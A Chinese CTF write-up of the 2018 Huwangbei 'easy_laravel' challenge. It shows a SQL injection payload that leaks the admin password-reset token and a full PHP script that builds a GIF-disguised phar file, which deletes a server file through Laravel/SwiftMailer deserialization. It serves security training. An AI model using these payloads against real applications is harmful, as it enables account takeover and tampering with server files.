护网杯2018Web easy_laravel复现

youncyb 发布于 2018-10-30 2211 次阅读 CTFwriteup


0x01题目描述

题目的docker可以在sco4x0大佬的github上找到。在网页源码中可以看到一个提示:

关于lavarel框架的一个php代码审计,我们先来看一下代码逻辑:通过register注册后再通过login登录,在home页面由一个note页面,里面没有什么东西,仔细翻了下网页,并没有得到更多的提示,所以可以直接审计源码了。

在根目录下有个composer.json,但是并没有看到composer.lock,所以我们composer install一下,多了一个比较重要的verdon目录,先看下routes/web.php:

Route::get('/', function () { return view('welcome'); });
Auth::routes();
Route::get('/home', 'HomeController@index');
Route::get('/note', 'NoteController@index')->name('note');
Route::get('/upload', 'UploadController@index')->name('upload');
Route::post('/upload', 'UploadController@upload')->name('upload');
Route::get('/flag', 'FlagController@showFlag')->name('flag');
Route::get('/files', 'UploadController@files')->name('files');
Route::post('/check', 'UploadController@check')->name('check');
Route::get('/error', 'HomeController@error')->name('error');

试了下这些目录,发现只有/home、/note、/error目录可以访问,猜测应该是权限导致。根据网页逻辑,我们先找到register源码:


在代码第39行,我们可以看到我们的等级是被设置为了guest,然后就是一些信息长度的要求。继续看login:

并没有什么重要信息,继续看,在flagcontroller.php中,我们可以看到flag要admin才可以看:

这算是一个重要信息,继续看NoteController.php:

可以看到有一个sql注入,注入点在username。我们试着注册一个万能用户名admin' or 1#: 

可以看到出现了一条关键信息:nginx是默认配置。在源码的database/migrations/目录下我们发现了3个创建sql表的文件:

users存放name、email、password:

password_resets存放email、token、时间戳created_at:

然后是notes表并没有什么有用的信息,在经过一些测试后发现有5列,尝试dump一下密码:

发现密码被加密了,所以通过登录管理员账号似乎行不通了,继续看代码,在app/Http/Controller/Auth/目录下,我们发现了两个有趣的文件:ForgotPasswordController.php和ResetPasswordController.php。先看第一个:

继续跟进SendsPasswordResetEmails,检测合法会向目标邮箱发一个重置链接:

回过头,看ResetPasswordController.php:

继续跟进ResetPasswords:

可以看到,如果没有token则不显示重置请求链接,那么我们需要去寻找管理员email和token,幸运的是我们在app/Http/Controller/Auth/AdminMiddlerware.php中发现了管理员邮箱:[email protected]

从前面数据库分析,我们可知道token是存储在password_resets表里面,尝试注入:

admin' union select 1,(select token from password_resets),3,4,5#

可以在note页面得到一个随机的token(由于我这已经重置过,似乎不会显示token了),将得到的token加在url后面,即可重置管理员密码:

登录管理员,可以看到多了几个页面,upload、file和flag页面都可以访问了,查看flag页面,发现并没有flag。???,flag去哪里了?后来题目放出提示:blade模板过期和POP链。那么思路就很清晰了:

 

  • 由于旧的blade没有过期,导致我们看不到flag
  • 只要删掉旧的xxx.blade.php就可以看到flag
  • 那么旧的模板在哪呢?

继续代码,在vendor/framework/src/Illuminate/View/Compiler.php你可以看到,如果xxx.blade.php如果不存在了,那么模板就过期了,正好符合我们上面的推测,而模板的路径也给了出来:

根据这篇文章,我们可以知道blade模板默认路径$path=storage/framework/views,再根据前面nginx的默认配置可以得到模板的绝对路径:

/usr/share/nginx/html/storage/framework/views/sha1(xxx).php

计算出sha1值,最后的路径为:

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

继续看代码,似乎有个UploadController.php还没看:

可以看到会将文件存在:app/public/xxx.xxx(图片后缀)这不是网站可访问目录,所以我们上传webshell也没用,而且后缀只能是图片类型,继续看file()函数,会展示我们上传的文件,而check()函数file_exists()的path和filename都是我们可控的,这时如果你理解透了2017年Hitcon那道phar序列化的题,那么这里你可以联想到同样的方法:用phar协议来读取文件(phar//:会自动进行反序列化),那这里我们还需要一个魔术方法:__destruct()并且带有删除文件的操作:unlink(),开启全局搜索__destruct(),最终在TemporaryFileByteStream.php:

所以我们只需要序列化这个类就好了:

0x02Payload构造

<?php
    include('autoload.php');
    $ser = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    #var_dump($ser);
    $ser = preg_replace("{/private/var/folders/nc/0t7lcsm915qf1ffy4qs71bhw0000gn/T/FileByteStream\w{6}}","/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php",$ser);
    $ser = str_replace("s:77","s:90",$ser);
    $unser = unserialize($ser);
    $p = new Phar("exp.phar",0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($unser);
    $p->addFromString('file.txt','111');
    $p->stopBuffering();
    rename("exp.phar","exp.gif");
?>

最后通过burp抓包提交一下:

0x03参考

https://github.com/sco4x0/huwangbei2018_easy_laravel

https://www.anquanke.com/post/id/161849#h3-5

phar反序列初探

phar反序列化剖析